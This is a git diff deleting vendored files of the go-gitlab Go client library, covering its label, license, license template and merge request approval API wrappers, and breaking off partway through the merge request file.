b/vendor/github.com/xanzy/go-gitlab/labels.go deleted file mode 100644 index 0aab8c5e28..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/labels.go +++ /dev/null @@ -1,305 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "encoding/json" - "fmt" -) - -// LabelsService handles communication with the label related methods of the -// GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/labels.html -type LabelsService struct { - client *Client -} - -// Label represents a GitLab label. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/labels.html -type Label struct { - ID int `json:"id"` - Name string `json:"name"` - Color string `json:"color"` - TextColor string `json:"text_color"` - Description string `json:"description"` - OpenIssuesCount int `json:"open_issues_count"` - ClosedIssuesCount int `json:"closed_issues_count"` - OpenMergeRequestsCount int `json:"open_merge_requests_count"` - Subscribed bool `json:"subscribed"` - Priority int `json:"priority"` - IsProjectLabel bool `json:"is_project_label"` -} - -// UnmarshalJSON implements the json.Unmarshaler interface. -func (l *Label) UnmarshalJSON(data []byte) error { - type alias Label - if err := json.Unmarshal(data, (*alias)(l)); err != nil { - return err - } - - if l.Name == "" { - var raw map[string]interface{} - if err := json.Unmarshal(data, &raw); err != nil { - return err - } - if title, ok := raw["title"].(string); ok { - l.Name = title - } - } - - return nil -} - -func (l Label) String() string { - return Stringify(l) -} - -// ListLabelsOptions represents the available ListLabels() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/labels.html#list-labels -type ListLabelsOptions struct { - ListOptions - WithCounts *bool `url:"with_counts,omitempty" json:"with_counts,omitempty"` - IncludeAncestorGroups *bool `url:"include_ancestor_groups,omitempty" json:"include_ancestor_groups,omitempty"` -} - -// ListLabels gets all labels for given project. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/labels.html#list-labels -func (s *LabelsService) ListLabels(pid interface{}, opt *ListLabelsOptions, options ...RequestOptionFunc) ([]*Label, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/labels", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var l []*Label - resp, err := s.client.Do(req, &l) - if err != nil { - return nil, resp, err - } - - return l, resp, err -} - -// GetLabel get a single label for a given project. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/labels.html#get-a-single-project-label -func (s *LabelsService) GetLabel(pid interface{}, labelID interface{}, options ...RequestOptionFunc) (*Label, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - label, err := parseID(labelID) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/labels/%s", pathEscape(project), label) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var l *Label - resp, err := s.client.Do(req, &l) - if err != nil { - return nil, resp, err - } - - return l, resp, err -} - -// CreateLabelOptions represents the available CreateLabel() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/labels.html#create-a-new-label -type CreateLabelOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - Color *string `url:"color,omitempty" json:"color,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` -} - -// CreateLabel creates a new label for given repository with given name and -// color. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/labels.html#create-a-new-label -func (s *LabelsService) CreateLabel(pid interface{}, opt *CreateLabelOptions, options ...RequestOptionFunc) (*Label, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/labels", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - l := new(Label) - resp, err := s.client.Do(req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, err -} - -// DeleteLabelOptions represents the available DeleteLabel() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/labels.html#delete-a-label -type DeleteLabelOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` -} - -// DeleteLabel deletes a label given by its name. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/labels.html#delete-a-label -func (s *LabelsService) DeleteLabel(pid interface{}, opt *DeleteLabelOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/labels", pathEscape(project)) - - req, err := s.client.NewRequest("DELETE", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// UpdateLabelOptions represents the available UpdateLabel() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/labels.html#delete-a-label -type UpdateLabelOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - NewName *string `url:"new_name,omitempty" json:"new_name,omitempty"` - Color *string `url:"color,omitempty" json:"color,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` -} - -// UpdateLabel updates an existing label with new name or now color. At least -// one parameter is required, to update the label. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/labels.html#edit-an-existing-label -func (s *LabelsService) UpdateLabel(pid interface{}, opt *UpdateLabelOptions, options ...RequestOptionFunc) (*Label, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/labels", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - l := new(Label) - resp, err := s.client.Do(req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, err -} - -// SubscribeToLabel subscribes the authenticated user to a label to receive -// notifications. If the user is already subscribed to the label, the status -// code 304 is returned. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/labels.html#subscribe-to-a-label -func (s *LabelsService) SubscribeToLabel(pid interface{}, labelID interface{}, options ...RequestOptionFunc) (*Label, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - label, err := parseID(labelID) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/labels/%s/subscribe", pathEscape(project), label) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - l := new(Label) - resp, err := s.client.Do(req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, err -} - -// UnsubscribeFromLabel unsubscribes the authenticated user from a label to not -// receive notifications from it. If the user is not subscribed to the label, the -// status code 304 is returned. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/labels.html#unsubscribe-from-a-label -func (s *LabelsService) UnsubscribeFromLabel(pid interface{}, labelID interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - label, err := parseID(labelID) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/labels/%s/unsubscribe", pathEscape(project), label) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// PromoteLabel Promotes a project label to a group label. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/labels.html#promote-a-project-label-to-a-group-label -func (s *LabelsService) PromoteLabel(pid interface{}, labelID interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - label, err := parseID(labelID) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/labels/%s/promote", pathEscape(project), label) - - req, err := s.client.NewRequest("PUT", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/license.go b/vendor/github.com/xanzy/go-gitlab/license.go deleted file mode 100644 index c6deb44e38..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/license.go +++ /dev/null @@ -1,109 +0,0 @@ -// -// Copyright 2018, Patrick Webster -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import "time" - -// LicenseService handles communication with the license -// related methods of the GitLab API. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/license.html -type LicenseService struct { - client *Client -} - -// License represents a GitLab license. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/license.html -type License struct { - ID int `json:"id"` - Plan string `json:"plan"` - CreatedAt *time.Time `json:"created_at"` - StartsAt *ISOTime `json:"starts_at"` - ExpiresAt *ISOTime `json:"expires_at"` - HistoricalMax int `json:"historical_max"` - MaximumUserCount int `json:"maximum_user_count"` - Expired bool `json:"expired"` - Overage int `json:"overage"` - UserLimit int `json:"user_limit"` - ActiveUsers int `json:"active_users"` - Licensee struct { - Name string `json:"Name"` - Company string `json:"Company"` - Email string `json:"Email"` - } `json:"licensee"` - // Add on codes that may occur in legacy licenses that don't have a plan yet. - // https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/license.rb - AddOns struct { - GitLabAuditorUser int `json:"GitLab_Auditor_User"` - GitLabDeployBoard int `json:"GitLab_DeployBoard"` - GitLabFileLocks int `json:"GitLab_FileLocks"` - GitLabGeo int `json:"GitLab_Geo"` - GitLabServiceDesk int `json:"GitLab_ServiceDesk"` - } `json:"add_ons"` -} - -func (l License) String() string { - return Stringify(l) -} - -// GetLicense retrieves information about the current license. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/license.html#retrieve-information-about-the-current-license -func (s *LicenseService) GetLicense() (*License, *Response, error) { - req, err := s.client.NewRequest("GET", "license", nil, nil) - if err != nil { - return nil, nil, err - } - - l := new(License) - resp, err := s.client.Do(req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, err -} - -// AddLicenseOptions represents the available AddLicense() options. -// -// https://docs.gitlab.com/ee/api/license.html#add-a-new-license -type AddLicenseOptions struct { - License *string `url:"license" json:"license"` -} - -// AddLicense adds a new license. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/license.html#add-a-new-license -func (s *LicenseService) AddLicense(opt *AddLicenseOptions, options ...RequestOptionFunc) (*License, *Response, error) { - req, err := s.client.NewRequest("POST", "license", opt, options) - if err != nil { - return nil, nil, err - } - - l := new(License) - resp, err := s.client.Do(req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/license_templates.go b/vendor/github.com/xanzy/go-gitlab/license_templates.go deleted file mode 100644 index 41dcdc3b40..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/license_templates.go +++ /dev/null @@ -1,92 +0,0 @@ -package gitlab - -import ( - "fmt" -) - -// LicenseTemplate represents a license template. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/templates/licenses.html -type LicenseTemplate struct { - Key string `json:"key"` - Name string `json:"name"` - Nickname string `json:"nickname"` - Featured bool `json:"featured"` - HTMLURL string `json:"html_url"` - SourceURL string `json:"source_url"` - Description string `json:"description"` - Conditions []string `json:"conditions"` - Permissions []string `json:"permissions"` - Limitations []string `json:"limitations"` - Content string `json:"content"` -} - -// LicenseTemplatesService handles communication with the license templates -// related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/templates/licenses.html -type LicenseTemplatesService struct { - client *Client -} - -// ListLicenseTemplatesOptions represents the available -// ListLicenseTemplates() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/templates/licenses.html#list-license-templates -type ListLicenseTemplatesOptions struct { - ListOptions - Popular *bool `url:"popular,omitempty" json:"popular,omitempty"` -} - -// ListLicenseTemplates get all license templates. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/templates/licenses.html#list-license-templates -func (s *LicenseTemplatesService) ListLicenseTemplates(opt *ListLicenseTemplatesOptions, options ...RequestOptionFunc) ([]*LicenseTemplate, *Response, error) { - req, err := s.client.NewRequest("GET", "templates/licenses", opt, options) - if err != nil { - return nil, nil, err - } - - var lts []*LicenseTemplate - resp, err := s.client.Do(req, <s) - if err != nil { - return nil, resp, err - } - - return lts, resp, err -} - -// GetLicenseTemplateOptions represents the available -// GetLicenseTemplate() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/templates/licenses.html#single-license-template -type GetLicenseTemplateOptions struct { - Project *string `url:"project,omitempty" json:"project,omitempty"` - Fullname *string `url:"fullname,omitempty" json:"fullname,omitempty"` -} - -// GetLicenseTemplate get a single license template. You can pass parameters -// to replace the license placeholder. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/templates/licenses.html#single-license-template -func (s *LicenseTemplatesService) GetLicenseTemplate(template string, opt *GetLicenseTemplateOptions, options ...RequestOptionFunc) (*LicenseTemplate, *Response, error) { - u := fmt.Sprintf("templates/licenses/%s", template) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - lt := new(LicenseTemplate) - resp, err := s.client.Do(req, lt) - if err != nil { - return nil, resp, err - } - - return lt, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/merge_request_approvals.go b/vendor/github.com/xanzy/go-gitlab/merge_request_approvals.go deleted file mode 100644 index 9ef8a7e585..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/merge_request_approvals.go +++ /dev/null @@ -1,392 +0,0 @@ -package gitlab - -import ( - "fmt" - "time" -) - -// MergeRequestApprovalsService handles communication with the merge request -// approvals related methods of the GitLab API. This includes reading/updating -// approval settings and approve/unapproving merge requests -// -// GitLab API docs: https://docs.gitlab.com/ee/api/merge_request_approvals.html -type MergeRequestApprovalsService struct { - client *Client -} - -// MergeRequestApprovals represents GitLab merge request approvals. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#merge-request-level-mr-approvals -type MergeRequestApprovals struct { - ID int `json:"id"` - ProjectID int `json:"project_id"` - Title string `json:"title"` - Description string `json:"description"` - State string `json:"state"` - CreatedAt *time.Time `json:"created_at"` - UpdatedAt *time.Time `json:"updated_at"` - MergeStatus string `json:"merge_status"` - ApprovalsBeforeMerge int `json:"approvals_before_merge"` - ApprovalsRequired int `json:"approvals_required"` - ApprovalsLeft int `json:"approvals_left"` - ApprovedBy []*MergeRequestApproverUser `json:"approved_by"` - Approvers []*MergeRequestApproverUser `json:"approvers"` - ApproverGroups []*MergeRequestApproverGroup `json:"approver_groups"` - SuggestedApprovers []*BasicUser `json:"suggested_approvers"` -} - -func (m MergeRequestApprovals) String() string { - return Stringify(m) -} - -// MergeRequestApproverGroup represents GitLab project level merge request approver group. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#project-level-mr-approvals -type MergeRequestApproverGroup struct { - Group struct { - ID int `json:"id"` - Name string `json:"name"` - Path string `json:"path"` - Description string `json:"description"` - Visibility string `json:"visibility"` - AvatarURL string `json:"avatar_url"` - WebURL string `json:"web_url"` - FullName string `json:"full_name"` - FullPath string `json:"full_path"` - LFSEnabled bool `json:"lfs_enabled"` - RequestAccessEnabled bool `json:"request_access_enabled"` - } -} - -// MergeRequestApprovalRule represents a GitLab merge request approval rule. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#get-merge-request-level-rules -type MergeRequestApprovalRule struct { - ID int `json:"id"` - Name string `json:"name"` - RuleType string `json:"rule_type"` - EligibleApprovers []*BasicUser `json:"eligible_approvers"` - ApprovalsRequired int `json:"approvals_required"` - SourceRule *ProjectApprovalRule `json:"source_rule"` - Users []*BasicUser `json:"users"` - Groups []*Group `json:"groups"` - ContainsHiddenGroups bool `json:"contains_hidden_groups"` - ApprovedBy []*BasicUser `json:"approved_by"` - Approved bool `json:"approved"` -} - -// MergeRequestApprovalState represents a GitLab merge request approval state. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#get-the-approval-state-of-merge-requests -type MergeRequestApprovalState struct { - ApprovalRulesOverwritten bool `json:"approval_rules_overwritten"` - Rules []*MergeRequestApprovalRule `json:"rules"` -} - -// String is a stringify for MergeRequestApprovalRule -func (s MergeRequestApprovalRule) String() string { - return Stringify(s) -} - -// MergeRequestApproverUser represents GitLab project level merge request approver user. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#project-level-mr-approvals -type MergeRequestApproverUser struct { - User *BasicUser -} - -// ApproveMergeRequestOptions represents the available ApproveMergeRequest() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#approve-merge-request -type ApproveMergeRequestOptions struct { - SHA *string `url:"sha,omitempty" json:"sha,omitempty"` -} - -// ApproveMergeRequest approves a merge request on GitLab. If a non-empty sha -// is provided then it must match the sha at the HEAD of the MR. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#approve-merge-request -func (s *MergeRequestApprovalsService) ApproveMergeRequest(pid interface{}, mr int, opt *ApproveMergeRequestOptions, options ...RequestOptionFunc) (*MergeRequestApprovals, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/approve", pathEscape(project), mr) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - m := new(MergeRequestApprovals) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// UnapproveMergeRequest unapproves a previously approved merge request on GitLab. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#unapprove-merge-request -func (s *MergeRequestApprovalsService) UnapproveMergeRequest(pid interface{}, mr int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/unapprove", pathEscape(project), mr) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ChangeMergeRequestApprovalConfigurationOptions represents the available -// ChangeMergeRequestApprovalConfiguration() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#change-approval-configuration -type ChangeMergeRequestApprovalConfigurationOptions struct { - ApprovalsRequired *int `url:"approvals_required,omitempty" json:"approvals_required,omitempty"` -} - -// GetConfiguration shows information about single merge request approvals -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#get-configuration-1 -func (s *MergeRequestApprovalsService) GetConfiguration(pid interface{}, mr int, options ...RequestOptionFunc) (*MergeRequestApprovals, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/approvals", pathEscape(project), mr) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - m := new(MergeRequestApprovals) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// ChangeApprovalConfiguration updates the approval configuration of a merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#change-approval-configuration -func (s *MergeRequestApprovalsService) ChangeApprovalConfiguration(pid interface{}, mergeRequest int, opt *ChangeMergeRequestApprovalConfigurationOptions, options ...RequestOptionFunc) (*MergeRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/approvals", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - m := new(MergeRequest) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// ChangeMergeRequestAllowedApproversOptions represents the available -// ChangeMergeRequestAllowedApprovers() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#change-allowed-approvers-for-merge-request -type ChangeMergeRequestAllowedApproversOptions struct { - ApproverIDs []int `url:"approver_ids" json:"approver_ids"` - ApproverGroupIDs []int `url:"approver_group_ids" json:"approver_group_ids"` -} - -// ChangeAllowedApprovers updates the approvers for a merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#change-allowed-approvers-for-merge-request -func (s *MergeRequestApprovalsService) ChangeAllowedApprovers(pid interface{}, mergeRequest int, opt *ChangeMergeRequestAllowedApproversOptions, options ...RequestOptionFunc) (*MergeRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/approvers", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - m := new(MergeRequest) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// GetApprovalRules requests information about a merge request’s approval rules -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#get-merge-request-level-rules -func (s *MergeRequestApprovalsService) GetApprovalRules(pid interface{}, mergeRequest int, options ...RequestOptionFunc) ([]*MergeRequestApprovalRule, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/approval_rules", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var par []*MergeRequestApprovalRule - resp, err := s.client.Do(req, &par) - if err != nil { - return nil, resp, err - } - - return par, resp, err -} - -// GetApprovalState requests information about a merge request’s approval state -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#get-the-approval-state-of-merge-requests -func (s *MergeRequestApprovalsService) GetApprovalState(pid interface{}, mergeRequest int, options ...RequestOptionFunc) (*MergeRequestApprovalState, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/approval_state", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var pas *MergeRequestApprovalState - resp, err := s.client.Do(req, &pas) - if err != nil { - return nil, resp, err - } - - return pas, resp, err -} - -// CreateMergeRequestApprovalRuleOptions represents the available CreateApprovalRule() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#create-merge-request-level-rule -type CreateMergeRequestApprovalRuleOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - ApprovalsRequired *int `url:"approvals_required,omitempty" json:"approvals_required,omitempty"` - ApprovalProjectRuleID *int `url:"approval_project_rule_id,omitempty" json:"approval_project_rule_id,omitempty"` - UserIDs []int `url:"user_ids,omitempty" json:"user_ids,omitempty"` - GroupIDs []int `url:"group_ids,omitempty" json:"group_ids,omitempty"` -} - -// CreateApprovalRule creates a new MR level approval rule. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#create-merge-request-level-rule -func (s *MergeRequestApprovalsService) CreateApprovalRule(pid interface{}, mergeRequest int, opt *CreateMergeRequestApprovalRuleOptions, options ...RequestOptionFunc) (*MergeRequestApprovalRule, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/approval_rules", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - par := new(MergeRequestApprovalRule) - resp, err := s.client.Do(req, &par) - if err != nil { - return nil, resp, err - } - - return par, resp, err -} - -// UpdateMergeRequestApprovalRuleOptions represents the available UpdateApprovalRule() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#update-merge-request-level-rule -type UpdateMergeRequestApprovalRuleOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - ApprovalsRequired *int `url:"approvals_required,omitempty" json:"approvals_required,omitempty"` - UserIDs []int `url:"user_ids,omitempty" json:"user_ids,omitempty"` - GroupIDs []int `url:"group_ids,omitempty" json:"group_ids,omitempty"` -} - -// UpdateApprovalRule updates an existing approval rule with new options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#update-merge-request-level-rule -func (s *MergeRequestApprovalsService) UpdateApprovalRule(pid interface{}, mergeRequest int, approvalRule int, opt *UpdateMergeRequestApprovalRuleOptions, options ...RequestOptionFunc) (*MergeRequestApprovalRule, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/approval_rules/%d", pathEscape(project), mergeRequest, approvalRule) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - par := new(MergeRequestApprovalRule) - resp, err := s.client.Do(req, &par) - if err != nil { - return nil, resp, err - } - - return par, resp, err -} - -// DeleteApprovalRule deletes a mr level approval rule. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#delete-merge-request-level-rule -func (s *MergeRequestApprovalsService) DeleteApprovalRule(pid interface{}, mergeRequest int, approvalRule int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/approval_rules/%d", pathEscape(project), mergeRequest, approvalRule) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/merge_requests.go b/vendor/github.com/xanzy/go-gitlab/merge_requests.go deleted file mode 100644 index bcd41d3494..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/merge_requests.go +++ /dev/null @@ -1,863 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// MergeRequestsService handles communication with the merge requests related -// methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/merge_requests.html -type MergeRequestsService struct { - client *Client - timeStats *timeStatsService -} - -// MergeRequest represents a GitLab merge request. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/merge_requests.html -type MergeRequest struct { - ID int `json:"id"` - IID int `json:"iid"` - TargetBranch string `json:"target_branch"` - SourceBranch string `json:"source_branch"` - ProjectID int `json:"project_id"` - Title string `json:"title"` - State string `json:"state"` - CreatedAt *time.Time `json:"created_at"` - UpdatedAt *time.Time `json:"updated_at"` - Upvotes int `json:"upvotes"` - Downvotes int `json:"downvotes"` - Author *BasicUser `json:"author"` - Assignee *BasicUser `json:"assignee"` - Assignees []*BasicUser `json:"assignees"` - SourceProjectID int `json:"source_project_id"` - TargetProjectID int `json:"target_project_id"` - Labels Labels `json:"labels"` - Description string `json:"description"` - WorkInProgress bool `json:"work_in_progress"` - Milestone *Milestone `json:"milestone"` - MergeWhenPipelineSucceeds bool `json:"merge_when_pipeline_succeeds"` - MergeStatus string `json:"merge_status"` - MergeError string `json:"merge_error"` - MergedBy *BasicUser `json:"merged_by"` - MergedAt *time.Time `json:"merged_at"` - ClosedBy *BasicUser `json:"closed_by"` - ClosedAt *time.Time `json:"closed_at"` - Subscribed bool `json:"subscribed"` - SHA string `json:"sha"` - MergeCommitSHA string `json:"merge_commit_sha"` - SquashCommitSHA string `json:"squash_commit_sha"` - UserNotesCount int `json:"user_notes_count"` - ChangesCount string `json:"changes_count"` - ShouldRemoveSourceBranch bool `json:"should_remove_source_branch"` - ForceRemoveSourceBranch bool `json:"force_remove_source_branch"` - WebURL string `json:"web_url"` - DiscussionLocked bool `json:"discussion_locked"` - Changes []struct { - OldPath string `json:"old_path"` - NewPath string `json:"new_path"` - AMode string `json:"a_mode"` - BMode string `json:"b_mode"` - Diff string `json:"diff"` - NewFile bool `json:"new_file"` - RenamedFile bool `json:"renamed_file"` - DeletedFile bool `json:"deleted_file"` - } `json:"changes"` - TimeStats *TimeStats `json:"time_stats"` - Squash bool `json:"squash"` - Pipeline *PipelineInfo `json:"pipeline"` - HeadPipeline *Pipeline `json:"head_pipeline"` - DiffRefs struct { - BaseSha string `json:"base_sha"` - HeadSha string `json:"head_sha"` - StartSha string `json:"start_sha"` - } `json:"diff_refs"` - DivergedCommitsCount int `json:"diverged_commits_count"` - RebaseInProgress bool `json:"rebase_in_progress"` - ApprovalsBeforeMerge int `json:"approvals_before_merge"` - Reference string `json:"reference"` - TaskCompletionStatus struct { - Count int `json:"count"` - CompletedCount int `json:"completed_count"` - } `json:"task_completion_status"` - HasConflicts bool `json:"has_conflicts"` -} - -func (m MergeRequest) String() string { - return Stringify(m) -} - -// MergeRequestDiffVersion represents Gitlab merge request version. -// -// Gitlab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#get-a-single-mr-diff-version -type MergeRequestDiffVersion struct { - ID int `json:"id"` - HeadCommitSHA string `json:"head_commit_sha,omitempty"` - BaseCommitSHA string `json:"base_commit_sha,omitempty"` - StartCommitSHA string `json:"start_commit_sha,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - MergeRequestID int `json:"merge_request_id,omitempty"` - State string `json:"state,omitempty"` - RealSize string `json:"real_size,omitempty"` - Commits 